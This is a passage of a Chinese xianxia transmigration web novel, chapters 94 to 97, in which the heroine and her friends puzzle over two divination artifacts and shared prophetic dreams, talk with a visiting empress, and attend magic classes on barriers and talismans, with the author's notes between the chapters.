“能啊,不都说了能推演万事万物?识海自然也能照的出来。只不过我记得那法器似乎一直没被用于正途,法器持有者的意愿若是与缔造者相悖,器物的寿命将会严重磨损,也不知那东西可曾活到现在。” “应当是活下来了,现下还被用于你所说的……正途。”楚悯迟疑着答道—— 作者有话说:法器磨不磨损我不知道,菇反正是要因为工作磨损了[爆哭] 第94章 从这几天“使用”将隐的经历来看, 将隐与关云铮的意识,或者至少与她的想法之间,定然存在着某种关联。 不然也无法解释, 为什么总是在她刚开始思考某个答案藏在过往之中的问题时, 将隐就会开始转动,并且还只有她听得见转动的声音。 上一次灵气波动她想当然地以为是将隐的缘故, 这次确认将隐未曾转动, 才会令她的思考陷入僵局。 如果上一次也不是将隐的原因呢? 但还能是什么原因? 还有,假定她的预知梦当真是因为那个能够照见识海的法器,它在远方进行推演,为何又是她来做这个梦? 它不应该在苍韫桢的手中吗?朝安离镜溪城相去几千里,为什么是她这个毫不相干的人做这预知梦? 关云铮胸无大志,从来不觉得“天将降大任于斯人也”这话对自己有什么勉励作用, 所谓的“必先苦其心志,劳其筋骨, 饿其体肤”也不过是歌颂苦难的一种说辞,这世上愿意当“斯人”的多了去了, 何至于抓着她不放? 预知梦这种放在里担当“点醒主角”大任的桥段, 为什么会降临在她的头上? 她无端产生一种“天上掉下来的馅饼把她砸死了”的荒谬错觉。 楚悯说完方才那句话后就同关云铮一起陷入了沉默,看不见她俩神情的摇羽一头雾水:“你们想什么呢?怎么都不说话。” 楚悯回过神来:“你记得那个法器……叫什么吗?” 这下陷入沉默的变成了摇羽。 它沉思了好一会儿,才从自己残缺不全的记忆里翻出那么一星半点:“好像叫……什么玄来着?洞玄?” 摇羽话音刚落, 楚悯手心的卦阵就亮了起来, 只见那上面的符文忽亮忽暗,片刻之后,楚悯抬起头来:“我算不出来。” 关云铮一愣:“算不出来?” 楚悯收拢手掌:“但正因算不出来,更令我笃定了方才的猜测。” 摇羽和关云铮异口同声问道:“什么猜测?” “曾经我想为将隐起卦,卦象也是这般晦暗不明、没有结果。我起过的卦没有一千也有八百, 除去这两次,从未出现过算不出的情况,”楚悯看向关云铮手中的嵌合轮盘,“我姑且认为,洞玄与将隐之间存在某种暂时探知不出的关联。” “这倒是能解释为什么洞玄推演,反倒是我做这预知梦。”关云铮若有所思地接话,“但是将隐是你父亲缔造的,洞玄又是谁做出来的?应当时隔几年才对,怎么会有联系?” 等等。 关云铮忽然意识到不对的地方:“上次三师兄说起这法器怎么说的?那不是近两年仙门大比中出现的法器吗?那时候摇羽你应当还在剑冢里,怎么会知道它?” 楚悯闻言皱起眉头:“闻师兄说那时他初入归墟,应当离今相隔不远才对。” 摇羽若有实体应当也皱着眉:“初入归墟?但可推演未来的法器在我还未入剑冢之前便有了,难道后世还有那样的惊世大才,能打造出这样的法器?” 能推演万事万物的法器听起来确实是几乎不可复制的存在,难道当真是洞玄从摇羽进入剑冢之前,一直存续到了现在,未有磨损? 既能推演诸事为何没有磨损? 除非它甫一面世,初次展现出强大的权能,就……下落不明了。 不然这偌大仙门总有能承担若干代价之人,怎么可能几十年过去了,仍能进行这些细致入微的推演? 关云铮长叹一口气,修个仙怎么问题还越修越多了? “你说师父他清楚洞玄的事吗?”她放弃继续折磨自己的大脑,在桌边坐下,“他什么时候能回来?” 楚悯坐在她身侧的位置:“章先生应该清楚?至于归期……大概要看江县的重建进展了。” **** 江县的第二次重建尚未开展,柳卿知和章存舒仍在谈论民众和仙门这类老生常谈的话题。 洪灾后的江县穷得有钱都没处花,闻越本想出去走走,看是否能给灾民购置些什么,到头来乾坤袋里的银两压根没摸出来过。 粮店只有一家,还受了灾不做生意了,酒楼茶肆更是灾后元气大伤,连点心都做不出来。 闻越站在街头一阵怅然,不由得叹了一口气。 连映观察过周遭,从另一个方向走来与他会合,正好听见这么一声叹息,说道:“怎么,比你以为的还要糟一些?” 闻越摇摇头又点点头,在最后一位前来会合的江却抵达时,为自己的动作解释道:“我未曾设想此地的惨状,没有亲历过灾祸后的人间,再怎么设想也不过是自以为是,但此地……” 实在是太颓败了。 虽说他先前见过几个受灾后的镇子与村落,固然此处与彼处的苦难不可相提并论,但江县重建会有多么焦头烂额,是抵达此处的每个人都能感受到的。 需要做的事情一多,人就会陡然陷入空茫,因为似乎不论从哪件事开始做起,都于事无补。 “柳相这两日便是面对这般情状?”闻越环视了一圈周围的惨状,喃喃道。 连映补了一句:“我方才在附近问过几位商家,他们说县衙有位司簿,自洪灾起便在料理大局,这两日跟随柳相搭建灾民所住窝棚。” 闻越露出不忍再听的神色:“今早窝棚被大火付之一炬的时候,她得是什么心情?” 江却闻言摇了摇头:“先回去找师父吧。” 灾后重建任重而道远,还需好些时间。 三人回到那处破败得不像客栈的客栈时,柳卿知正和章存舒有一搭没一搭地就着茶水谈天。 “那日同陆识微谈起洞玄时,她问我仙盟之于朝廷与仙门究竟是何种存在,为何名头听着十分唬人,却好像并无实权,也没多少人搭理。”柳卿知喝了口发苦的茶水后说道。 连映低声同身边两人解释:“陆识微便是县衙司簿。” 闻越也配合着低声:“她问的也是我一直以来想知道的。” 只听章存舒随口答道:“朝廷看仙盟大约是看每月按时讨钱的叫花子,至于仙门,”他嗤笑一声,“别家门派不知道,我们归墟把仙盟当癞皮狗。” 闻越险些没忍住大笑出声。 听见三人脚步声,柳卿知率先看过来,向三人抬了抬手:“喝水还是喝茶?” 闻越甫一走近便感受到了那茶劈头盖脸的冲击力,连忙又是摆手又是摇头地拒绝了柳卿知的好意:“我喝水,这茶闻着就能把我苦死。” 章存舒面不改色地又喝了一口茶。 柳卿知不甚在意地把装了凉水的茶壶递给三人:“你们全都来了江县,不管小徒弟了?” 章存舒“嗯”了一声:“离开得有些匆忙。” 闻越喝了口凉水,叹道:“我们长年累月都待在归墟里不外出,假使外出也都是师门一起,除了我有一块与我大哥传信的灵牒,其他人都没有趁手的传信工具。” 柳卿知扬眉:“于是,你们便没有传信地……把师妹丢下了?” 闻越顿时看向章存舒:“师父留了信。” 章存舒顺口反驳:“不是我写的信,是……”他看向柳卿知。 后者福至心灵地明白过来,了然地笑道:“既如此,先谢过章先生了。” 闻越没看过那封信就被师父抓到江县来了,此时才知原来不是师父留的信,顿时忧心起来:“我们今日不回归墟的话,云崽怎么办?” 章存舒被他语气逗笑:“李厨又没跟着来,还能饿着吗?” 闻越从他话中意识到不妙:“我们何时回归墟?” 章存舒看向柳卿知:“柳相何时能给罪魁祸首定罪?” 柳卿知又喝了一口苦茶:“我以为你要问我何时能重建江县。” “重建江县实非一日之功,此处也绝不止表面展露出的这些问题,自然是看柳相何时给罪魁定罪,我们何时回归墟。”章存舒也喝不下这苦得人舌根发麻的茶了,给自己倒了盏凉水,“我们不过是在柳相分身乏术时帮点小忙,你应当有更合适的重建人手考量。” 话都让他一个人说完了,柳卿知只能笑着说:“自然,要想种花,不也得先料理土吗?” **** 被“落下”的关云铮仍在思考洞玄的问题。 “你说是后世有人复制出洞玄这样的法器,这一说法比较有可行性,还是洞玄这个绝世神器居然一直没人使用,活到了现在,这一说法比较有可行性?”关云铮随着秋千摇晃着,问一边的楚悯。 楚悯一同摇晃着:“似乎都不太有可行性。” 关云铮也觉得一阵荒谬,荒谬到她原本旺盛的求知欲都淡退了,此刻只想笑:“如今看来,洞玄和将隐的权能似乎有些相辅相成?洞玄可推演万物,甚至未知,将隐可回溯记忆。”她思索着说,“将隐从已知但遗忘中寻找未知,洞玄则是从已知推演向未知。” 还没等楚悯回答,她又摇了摇头推翻自己的言论:“怎么感觉这样一说似乎也不大能够相辅相成,洞玄既能推演万事万物,想必也可以回溯记忆,如此看来,将隐岂非洞玄的子集?” 楚悯困惑:“子集?” 关云铮向楚悯伸出右手:“譬如我的右手有五根手指,”她又收回其余四指,只留大拇指仍展露在外,“而这根手指就是五根手指的子集。” 应该是这样吧?毕竟高考完她就把高中数学还给老师了,大学时期连高等数学学的都是最简单的E等,十以外的乘除对于她们医学生而言都是超纲的。 楚悯明白了:“这样说来确实如此,将隐的权能应当只是洞玄权能的一部分展现。” 关云铮收回手,继续晃荡着:“也就是说,是女帝她在朝安城用洞玄卜算了江县所发生的事,而后把信传来告知师父,让师父前去增援?” 楚悯无法探知洞玄与将隐的本质,但还可以旁敲侧击地卜上一卦,听到这垂眼,在手心起了个卦阵:“似乎并非如此。” 关云铮“咦”了一声,探过脑袋往楚悯手心看,虽然完全看不懂,但此刻的卦阵无疑正在飞速运转,与方才起的那一动不动的卦毫不相同:“卦象说什么了?” 楚悯把手摊开给她看,另一手在手心滑动着:“我问洞玄是否在江县,你看这一处,此卦意为,是。” 关云铮抬起头,一脸错愕:“洞玄在江县?难道女帝也在江县?不过她确实会缩地成寸……” 楚悯摇了摇头,又指向卦阵另一处:“我又问,洞玄是否在柳相手中,你看此处。” 一模一样的卦象。 洞玄并非在朝安,而是在身处江县的柳相手中。 那女帝又怎会知道江县大火? “这洞玄确实有点太玄了……”关云铮忍不住喃喃。 坐在一侧的楚悯问出了和她方才所想一样的问题:“只是我不明白,为何洞玄在江县,却是身在朝安的女帝,获悉大火之事传来信件?” 关云铮也一脸困惑:“不如再起一卦?” 自从楚悯在她面前说过遗憾一事后,关云铮就不打算监督她卜算的事了,与其逃避问题,不如多卜几卦提升自身境界,削减代价来得要紧,毕竟天问哪有永远不问的。 楚悯收拢手掌,看向关云铮:“无法起卦。” 关云铮一愣:“为何?” “事关女帝,无法卜算。”楚悯答道,“早在她将继承帝位登基时,便有不支持她登基的仙盟人算过一卦,无法卜算。” 关云铮颇受震撼:“是哪种无法卜算?总不会是龟甲直接裂了,铜钱崩断,蓍草无火自燃这种事吧?” 楚悯在这样严肃的氛围下被她的话逗笑了:“云崽好懂行。” 关云铮更震撼了:“真的假的?我还真说中了?” 楚悯颔首:“是,而在卦修眼中,此类现象意味着此人命格不可被窥探,不可被更改,无法直接提问有关她的问题,所以我方才卜算,问的是洞玄是否在江县而非朝安,是否在柳相手中而非女帝。” 哇……当真是天命之女……—— 作者有话说:早上八点多以为写不完了,挂了个请假条,十点忙里偷闲急速写完了,这对吗(茫然)果然人的潜力是无穷的吗 第95章 与镜溪城相去千里的朝安城内, 坐在殿内书桌后、“不可被窥探的天命之女”苍韫桢尚且不知道,就在方才,自己又获得了一个不甚在意的称号。 她正怀揣着与关云铮相似的疑惑在桌边沉思, 想不通究竟为什么自己会梦见江县起火的情形。 换作没有洞玄的那段日子, 她只会觉得这梦莫名其妙,大火虽然预示着什么, 但她懒得细究。 现如今洞玄在手, 一切模糊的意象便都有了指向清晰的意义,只是她不明白,洞玄如今在卿知手中,按说她不该看见或是梦见洞玄推演出的结果,昨夜究竟为何会做这种梦? 她很想给章存舒再去一封信问一问洞玄之事,但她也清楚白日里接到信后的章存舒一定已经赶去了江县, 此时去信会被卿知看见不说,她们也未曾在江县设下传信点。 非要传信只能通过驿站, 多有不便,因此此事暂且不宜再追问。 不过…… 她心念一转, 又重新拿起先前被她屡次搁下的纸笔, 快速写了一封信,抬手丢入灯罩,交由灯烛吞噬殆尽。 ——坐在秋千上的两位聊到天色深黑, 正准备各回各屋歇下, 关云铮把摇羽收回剑鞘,放在门外石桌上。 刚推开房门,灯罩里就“呼啦”飞出一张信纸,以一种劈头盖脸的架势,强劲地糊在了她的脸上。 ……女帝的登场方式总是这样令人意外。 关云铮把脸上的信纸揭下来, 走进屋内就着灯光看完了为数不多的几个字。 虽然仍旧不知道原因,但这封信同样是横着写的,因此对她来说堪称无障碍。 只见上面随意地写着:“将隐可能够推演未知?” 关云铮被这一句吓得险些把信纸丢回灯罩里,简直有种夜路走多了撞见鬼的后脊发凉感。 虽说这几日对于她来说无比漫长,很多事情好似都过去了很长时间,在记忆里逐渐模糊了。 但她确实在苍韫桢来归墟的那天提起过将隐,对方会记得倒也在意料之中。她没想到的是,苍韫桢就像是会读心一样,问出这样一个……方才还在被她和楚悯讨论的问题。 她从屋里翻出纸笔,就着灯光在这行字下方写上自己的回复:“似乎不可,但洞玄应当可以。” 原本她还觉着回信时需要掂量一番措辞,可看苍韫桢对这一切都了然于胸的口吻,含糊其辞就变得非常没必要,于是干脆言简意赅地如实相告。 她没有对苍韫桢知晓将隐权能一事提出疑问,也没有解释自己是从何处得知那法器名叫洞玄。 毕竟她总感觉,对着苍韫桢不需要说那些弯弯绕绕的话,繁文缛节般的说辞在她这里,尤为浪费时间。 关云铮没多审视自己写下的文字,就把信纸重新投进了灯罩里,瞬息之间信纸便被烧了个干净。 回信过来大约需要一点时间,她打算按照原计划去洗漱一番,今日武器课上出了好些汗,不洗个澡人都快馊了。 集中教习的弟子住的寝舍是什么规模她不清楚,但苍生道这边,似乎每处屋子都被隔断为两间,卧榻所在是一间,另一间用门隔开,挖了一个疑似天然的浴池。 浴池的水温也是恒定的,池边有好几个不断更换着水源的进出水口,用来洗澡的皂角和澡豆似乎也会有人定期更换,她房中甚至还有沐浴后抹在身上用的香膏。 她倒是没有抹过,只在头两天发现这不起眼的小盒子时,旋开盒子闻过,香味很淡,隐约能闻出是花香。 起初一段时间,发觉有人定期更换澡豆和皂角时她也蛮惶恐的,总觉得自己屋里这么乱,别再给帮忙收拾的人添麻烦,故而开始的那段时间总跟军训似的,把被褥叠得异常整齐。 后来她便发现那澡豆和皂角更像是术法一类的东西操控的,总是在快用完的时候定期消失,又很快满着出现。如今看来,大约是有什么她看不见的小型传送法阵在底下运作。 总之归墟真的是个科技改变生活,哦不对,法术改变生活的好地方,适合她这种懒鬼在这里待地老天荒。 关云铮洗完澡,披上衣服,没看见灯罩里有什么动静,猜测苍韫桢大概又在忙,没放在心上,正准备回榻上窝一会儿,放空或是冥想一阵,就听见房门被人敲了两下。 这个时候了,难道是小悯? 她困惑着打开门,被站在门外笑盈盈看着她的苍韫桢吓了一跳。 **** 关云铮被吓坏了,苍韫桢也被脸色骤然煞白的关云铮吓坏了,连忙上前给她拍背顺气:“我的错我的错,没在信中提前问一声,吓着你了。” 她感觉自己的心脏在胸膛里惊恐地蹦迪,过了好一会儿才勉强平复下来,忍不住幽幽道:“陛下,您是不是也太随心所欲了,方才还在写信,现下便缩地成寸来归墟了?” 苍韫桢见她气不喘了脸不白了,便收回了手,随口说道:“我在宫里待着也没什么意思,见你还醒着,干脆过来同你聊聊。” 把缩地成寸这样的高段位招式说得好像跟放了个普攻一样轻松……不耗能量的吗这位陛下。 而且朝安跟镜溪城相隔几千里,怎么被她一句话说得像是到对街串门一样简单。 这对吗。 苍韫桢看出她在腹诽些什么似的,笑着说道:“这不是距上次缩地成寸过去几天了,再试一次,无伤大雅。” 苍韫桢两句话寒暄完毕,很快就如关云铮预想的一样进入了此番前来的正题:“将隐并无推演未知之能?” 关云铮迟疑着点点头:“应当是,一来我平日对未来多有设想,而将隐从未回应这一类思绪,只回应过那些可从回忆中寻得答案的问题。”她在桌边坐下,“二来,小悯也说能够推演未来的法器需要承受的代价太过沉重,她父亲不可能做出这样的法器送给我。” 苍韫桢若有所思:“若是受你境界影响呢?日后境界提升,有没有推演未知的可能?” 还真给她问住了。 关云铮皱起眉头,正打算说些自己不确定答案的猜测,忽听苍韫桢又接着说道:“罢了,此事先搁置,你是如何得知那法器名叫洞玄的?” 关云铮以为她不打算浪费口舌在这个问题上,闻言愣了一下才说:“此事说来也十分玄乎……我有一把佩剑,剑中有位年岁大约一百多岁的剑灵,”她指向此刻被剑鞘严丝合缝套住的摇羽,“就是这里面的剑灵,它告诉我的。” 苍韫桢不由挑眉:“一百多岁?” 关云铮“嗯”了声:“但我记得三师兄先前提及时分明说过,此物出现在他初入师门时的仙门大比,怎么会被一百多年前的剑灵知晓名字?” 苍韫桢倒是不十分困惑的模样:“你师父说话总是藏头露尾,想必此事不曾与你详谈。” 太好了全天下都知道她师父是谜语人! 但是即便这样她师父也不会改的,可恶。 “洞玄初次面世,确乎仅在几年之前。但打造出洞玄,或者说,令洞玄面世之人,在那次仙门大比后没多久,便离奇暴毙了。”苍韫桢说道。 “暴毙”二字让关云铮无端打了个不甚明显的哆嗦,她迟疑着问道:“查过死因了?” 苍韫桢颔首:“上次提起过,此物那时的权能是勘破修道之人的灵根与天赋,照出识海,虽非如今权能的尽数展现,可也实在非凡,洞玄一出,那令它面世之人顷刻便声名大噪。 “仙盟争抢着想把人和东西全都据为己有,仙门则质疑此人的出身与所修之道,毕竟籍籍无名,与他所做法器之能并不相称。 “没过多久,此人便暴毙家中,洞玄也落入仙盟之手。仙盟得到洞玄后,发觉此物仍有部分潜能未得到展现,便想出了一个为名门正派所不耻的法子,想要问清楚此事。” 关云铮若有所感:“难道是引魂之类的邪术?”譬如之前用在季邕身上的那支抽取记忆的香。 苍韫桢点点头:“奇怪之处在于,那位死者,没有魂魄。” “什么?没有魂魄?”关云铮差点从凳子上弹起来,直觉今晚发生的每一件事都活像撞鬼,明日得去问问掌门有没有什么辟邪的好法子,她得开始搞封建迷信那一套了,不然迟早被吓破胆。 “是以你师父常说,洞玄此物,来历不明。”苍韫桢给这段对话下了个结论,又说,“听你说是剑灵告知的名字……或许洞玄实际正是一百多年前的法器,只是因为某种原因流落别处,数十年后才经人发现,得以重见天日。” “然后又因为发现之人境界有限,是以尚未展露出完全的权能?”关云铮问道。 苍韫桢笑着说:“大概是?” 那又生出新的疑惑了,关云铮忍不住问道:“那如今呢?如今洞玄可展现了全部权能?” “你既已知答案,又何需问我。”苍韫桢似乎是对不远处的秋千起了兴致,话说到一半,从石桌边起身,往秋千上一坐。 其实关云铮想问的不是权能的事,但她要问的话直接问似乎太过唐突,只好从权能说起,试图聊上几句后再拐到自己想问的话题上。 但显然,直来直往的苍韫桢没打算给她这个机会,直白道:“你想问代价的话,我也无法回答。” “是……没有感受到代价,还是没有代价?”关云铮忍不住追问道。 “洞玄这种法器,应当没有不付出代价的?只是这代价似乎不是逐次计算,这两年偶尔用一用,无甚感觉。”苍韫桢答道。 不是逐次计算而是累积吗? 那岂非会造成一夜白头、寿命锐减这样的惨状? 一想到这样的场景关云铮就一阵恐慌,忍不住在心里安慰自己小悯一定不会变成这样。 还没等她安慰完,又想起小悯方才说的,苍韫桢不可被窥探,命格不可被更改的事,顿时觉得代价一事在苍韫桢身上有所削减也不是不可能,她的结论不能完全套用在小悯身上。 “你想问楚悯所需承担的代价?”苍韫桢一眼看破她脸上的愁绪,“代价此事,承担者兴许早就死了,活着的都是没见过代价的,到头来还是无从得知。” 关云铮被她过于直白的话语击溃了,沉默了好一会儿才说:“我帮不上忙。” 苍韫桢诧异看她:“要你帮忙做什么?这些事自有我们来操心,你每天听先生们传道授业不就好了?” 她的语气太理所当然,关云铮差点被说懵了,一时之间恍惚道:“那小悯……” “小悯的事自有她的父亲关心,你师父定然也不会坐视不管。还是说你觉得你师父对待你与小悯厚此薄彼?”苍韫桢看她神情紧绷,有意说些玩笑话逗她。 关云铮没被逗笑,但神色终于好看些了:“怎么还造谣啊陛下。” 苍韫桢在秋千上晃了几晃,终于满意了似的,边晃边说:“差点忘了正事。等你师父回来,记得帮我问问他,为何我会梦见江县大火。” 关云铮一愣:“您也梦见了?” “也”这个字自带隐藏含义,苍韫桢扬眉:“还有谁梦见了?” 关云铮莫名有种被老师叫起来回答难题的感觉,迎着苍韫桢的目光艰难道:“我。”—— 作者有话说:截至今天晚上七点,营养液82评论43,所以这章是加更[墨镜] 呜呜怎么最近都没什么评论了[爆哭][爆哭]想要很多很多的评论[爆哭][爆哭] 第96章 听苍韫桢之前那句话的意思, 她原本应该已经打算动身离开了,但在关云铮说完自己也梦见了江县大火后,方才还在跟着秋千晃悠的苍韫桢一脚踩在地上, 让秋千停止了摆动:“如此看来, 洞玄与将隐之间存在某种联系?” 究竟是怎么跳过一堆思考的过程直接推出结论的…… 关云铮直觉自己还是大脑构造太简单,并且对这个世界的了解太少, 才会在这个话题上纠结这么长时间都没得出结论, 但嘴上还是老实回答道:“方才我和小悯探讨出的结论就是这样,但更进一步的结论,尚且没得出来。” 苍韫桢说话与章存舒是两种极端,听章存舒说话,明白的事情也能给人说糊涂了,苍韫桢则会跳过解题过程直接说答案——要不是思考过这个问题, 交流体验能跟听章存舒说话一样稀里糊涂。 苍韫桢听了她的话,突兀地问道:“将隐当真是小悯的父亲打造的?不是她叔父?” 她思路跳跃, 关云铮听得一愣:“为何提起小悯的叔父?” “令洞玄面世之人是暴毙而亡。”像是暗示似的,苍韫桢又提起这一点。 关云铮若有所思地接话:“小悯的叔父是承担代价后去世的……”如果代价当真是积累后在某个时间点集中爆发, 那似乎也算是一种……暴毙而亡。 苍韫桢颔首:“我也只是猜测, 没有实证。”说完这话后她站起身,“很晚了,明早你还要上课, 快去睡吧, 我走了。” 说罢就当真没有一句后话,瞬息之间人影便消失了。 关云铮叹了一口气,索性把此事完全搁置,不再去想,默默走回自己房间, 关上房门。 希望下次和来去如风的女帝见面,不是这样像女鬼突脸一样的场合。 **** 章存舒不在苍生道后,李演留在饭堂吃饭的次数便多了起来,对比章存舒有事不说且瞎说的行事作风,李演堪称有问必答,故而早饭吃到中途,关云铮忍不住问道:“李厨先前做完饭不吃的时候,都去哪里了?” “我早就辟谷了,本就可吃可不吃。”李演夹了一筷子小菜,答道。 楚悯难得神色困顿,在旁边捧着碗缓慢地喝粥。 关云铮嚼着腌萝卜:“做了饭不吃,不会觉得有些可惜吗?” 李演失笑:“厨子不就是给别人做饭的?你见过几个厨子能吃上自己做的热乎饭菜?再说了我也不缺那两口吃食,不吃不会如何,也不觉可惜。” 倒也是。 楚悯喝了几口粥终于缓慢恢复神智一般,在一旁问道:“章先生为何会找李厨来做苍生道的厨子?” “此事其实是我自愿的。”李演简短道,察觉不到烫似的快速喝完手头这碗粥后,又接着说,“我以前是一家酒楼的厨子,那酒楼……不大干人事,起了些冲突,待不下去了,是你师父帮了我一段时间。” “所以是为了报答?”关云铮发觉这腌萝卜还怪好吃的,忍不住又夹了一筷子。 “算不上,你师父给的报酬比在酒楼时多多了。”李演随口道。 关云铮:…… 为什么又在自取其辱,为什么。 李演放下碗筷,叹了一口气:“我当了十几年的厨子,实在是想不出自己还有什么事可做。” 关云铮失语了好一阵,幽幽拆穿了他这话里的漏洞:“我看您能做的事多得很呢,您不还会缩地成寸吗,我都还没摸到它的门槛。” 装啥忧郁呢,都辟谷的人了。 楚悯差点被粥呛着,缓过之后笑了起来:“云崽说得对。” 李演本就不多的愁绪被关云铮一句话点破,那点怅然维持不下去了,忍不住笑骂道:“怎么惯会拆台。” 关云铮喝完了碗里的粥,冲他郑重其事地一点头:“别的不敢保证,拆台我一定十分在行。” 楚悯还差几口没吃完,关云铮坐在她身边无所事事,想起昨日就冒出来过的疑问:“师父换张大些的桌子倒是无可非议,只是这桌子……”她看了眼两条短边,“那四个位置平日当真有人坐吗?” 毕竟昨日师父回来就是在长边坐下的,虽说昨日他是在山下吃的饭,但他大概率对于座位无甚所谓,估计日后回来也只会坐在长边。 李演也顺着她的视线看过去,随即默然:“应当不会。” “还有这两侧,哪怕算上掌门任师姐,蒲先生苏修士褚先生,谭一筠和叶泯,也坐不下这许多位置啊。”师门五人加上李演,再加上这些人,也不过才十三人,哪用得上这张光两条长边就能容纳二十人的桌子? 哦,忘了凌风起了。但哪怕把他算上也才十四人,依旧用不上这个规格的餐桌。 李演煞有介事地点点头:“我也这么想,但很可惜,接下你师父生意的那位工匠,只提供这么大的桌子。”?强买强卖? 不愧是幼时摊上师伯和师祖两位烂摊子的苦命人,写作章家阔少读作任人宰割的冤大头。 “非要改规格,师父应当也能办到吧?”关云铮已非当初刚穿越过来时那般天真,也没完全相信李演关于问题的解释,反而问道,“他大概是图热闹才搞出这么大动静?” 李演用一种意味深长的目光注视着她。 关云铮领会了其中深意,迅速改口道:“好吧师父应该就是故意的。” 虽说最开始确实是没办法,杀鸡焉用牛刀似的换了一张大出许多的桌子,但章存舒要想改个规格还是能办到的,不去改无非是他懒得,并且觉得这样还挺好的。 说话间,专心喝粥的楚悯吃完了,推开碗筷起身。 两人一起同李演告别,迈出门朝学堂的方向走去。 **** 今早是步雁山的术法课,上节课讲的结界与幻境难度较高,这堂课依旧由步雁山先演示一遍术法过程,再让弟子们自行练习。 虽说众人都不清楚学会幻境如何打造对于日后的考察有无裨益,但学了总比没学好,知己知彼方能百战百胜。 其实这两者的构造术法不那么难,与先前学习的几种术法虽有区别但本质相似。 真正有难度的大概是昨日谭一筠说的“言灵”,要让心中默念的东西真正融入手中的术法,才是制造结界与幻境过程中最复杂的一步。 关云铮在这一步屡屡碰壁,每次都没法把结界的位置信息以及阻绝的特点灌输进术法中。 不过她倒也不太气馁,只是觉得自己可能还没彻底放下21世纪那些唯物主义理论,打心底里不大相信这些东西,所以言灵这种相对唯心主义的东西,才不能发挥效力。 但她也清楚,要真的相信这个世界的每一处细节,光靠这一个多月是没有用的,接下来到幻境考察前的半个月,也绝对没有实质性的帮助,具体的办法……估计还得靠运气。 也就是所谓的灵光一闪。 作为一个算命时都只信说得好听那部分话的人,关云铮其实偶尔会向所谓的上苍祷告,让她拥有短暂的、瞬时的运气。 只是这套流程常常发生在她玩游戏抽卡之前,为了玩乐祈祷兴许不够虔诚,所以她总在歪卡加保底,没一次能成功脱非入欧。 算了,不能再想了,再想下去道心都要破碎了。 关云铮回过神,发现楚悯正目不转睛地盯着自己桌面上方的某处,忍不住问道:“成功了?” 楚悯点点头,弯起眼睛看向关云铮:“猜猜在哪?” 关云铮凑近了些,刚要开口,忽然感到两缕视线有如实质地投了过来,顿时直起身看向坐在两人后方的谭一筠和叶泯。 谭一筠咳了一声,默默收回了自己的视线。 叶泯浑然不觉似的,脖子都快伸出二里地了:“让我看看让我看看。” 虽然叶泯看上去半个身子都快过来了,但其实也没冒犯到两位姑娘的边界,是以关云铮不甚在意地退开一些,给后座二人让出视野,和他们一同观察起楚悯的桌面上空。 “结界当真能观察到吗?”关云铮好奇,“可见不就可触,结界岂不就破了?” “结界的稳定也要看打造者的境界。”步雁山不知何时过来了,站在楚悯身侧说道,“若是观察之人境界高出许多,能感受到结界的存在,但具体的位置还有待探知。至于可见,某些时候并不完全等同于可触,是以结界也未必会破。” “为何?”楚悯好奇地抬头。 步雁山闻言笑了笑,两手做了几个动作后示意他们看向窗外:“看见那道隐约的蓝光了吗?” 关云铮不明所以地在视野里搜索着步雁山所说的东西,片刻后成功注意到了“挂”在几座山峰之间的那道弧光。 形状像彩虹,但只有一层不甚明显的蓝色,要不是今日空中有云,那颜色几乎融进了天色里。 想到了一个极有可能的猜测,关云铮收回视线看向步雁山:“那是……护山大阵?” 步雁山颔首:“正是。” 他的视线越出窗外:“护山大阵也是一种结界,所有人都能看见它,但所有人都触碰不到它。” **** 等到褚先生讲明下午符咒课的内容,关云铮就有些明白步雁山为何突然让他们来学堂上课了。 因为这堂课要学的是结界和幻境的破解方法。 一想到早上还在这学怎么打造,下午就要在同一个地方学习怎么破解,就有种说不出的诙谐感。 褚先生看穿众人在想什么似的,毫不留情地戳穿并说道:“能在幻境考察前学会打造稳固的结界和幻境,就已经是少见的奇才了,还以为自己能一堂课学会如何破解?不知其所以然,如何能解?” 笑容消失。 关云铮垂头丧气地开始听讲。 既是符咒课,破解方法必然与符咒有关,褚先生单独讲了几个能解幻境的符咒,提点了几句要诀,又把上堂课满天飞的符咒阵召了出来,让弟子们自行练习,自己则窝在书桌后看卷册去了。 上堂符咒课时,谭一筠和叶泯尚未坐到楚悯和关云铮身后,关云铮也就无从得知两人对待这堂课的态度。 此时漫天的符咒一出,后排的叶泯当即发出一声压抑着的哀嚎,趴倒在了桌上:“我总觉得这些符咒是来收我的。” 谭一筠被逗笑:“你又不是妖怪。” 关云铮认命地叹了口气,拿起纸笔开始练习面前这个,自己已经画过十几遍,都没法一笔画成的符咒。 原本画到第七第八遍的时候,她生出过反思,是不是自己随机挑选的这一个太难了,其他的兴许能简单些。然后她就抱着类似“下一抽一定能出金”的想法往旁边看了一眼,被更加复杂的符咒当场吓得心无旁骛,开始练习第九遍。 赌||狗一败涂地。 她画符咒虽是照葫芦画瓢,但或许是因为尚且不够熟练,笔画总比标准答案大许多。 褚先生给他们练习符咒专程准备了一种规格的纸,每次练习符咒她都能画满整张纸,干脆给每张纸的右下角都写了编号,现在这张是她练习的第一个符咒的第二十遍,于是她画完后叹了一口气,在右下角写了一个1.20。 楚悯悄悄凑过来,大约是看到许多次她这样留下编号,此刻指着她写上去的编号小声问:“这也是,从别处来的?” “别处”已经成了二人对于关云铮真实身份一事的掩饰性说法,两人心照不宣。 关云铮点点头,同样小声地说:“这是阿拉伯数字。” “阿拉伯?是地名吗?”楚悯端详着那奇形怪状的标记。 “是地名,也是居住在此地人群的称谓,不过阿拉伯数字其实不是阿拉伯人发明的,他们只是把这东西传播向了各处。”关云铮解释道,想了想又补充了一句,“阿拉伯人也对原本的数字进行过改动,结合之下,才会以他们命名。” 楚悯了悟地点点头:“那原本是谁发明的?” “印度人,印度也是个地名。” 楚悯若有所思:“你写下的这一串,是什么意思?” 关云铮拿过一张空白的纸,在上面依次写上0-9,挨个念给楚悯听:“把0放在其他数字后就表达十,所以我写下的这个,就是一和二十。” “那中间的点,是间隔?”楚悯问道。 关云铮点点头:“小悯好聪明。” 楚悯弯起眼睛笑了笑:“可以把这张纸给我吗,我也想学着用阿拉伯数字,感觉简便许多。” 关云铮把纸递给楚悯,心里一阵激动。 她也终于要在这个世界留下来自21世纪的记号了!穿越必做事件中最有分量的一件!—— 作者有话说:提前祝大家端午安康![撒花] 想要很多很多的评论[可怜][可怜] 第97章 如果一件事对于某人来说难度犹如登天, 那与这件事搏斗的过程就会变得尤为漫长,度日如年一词都不足以形容此事加诸于人的煎熬,人简直成了永远在推着石头上山的西西弗斯。 当这件事变得轻而易举, 花在此事上的时间也就只是“消磨”, 眨眼间便完成了,时间、精力都不曾过多折损, 甚至还有时间发些闲愁。 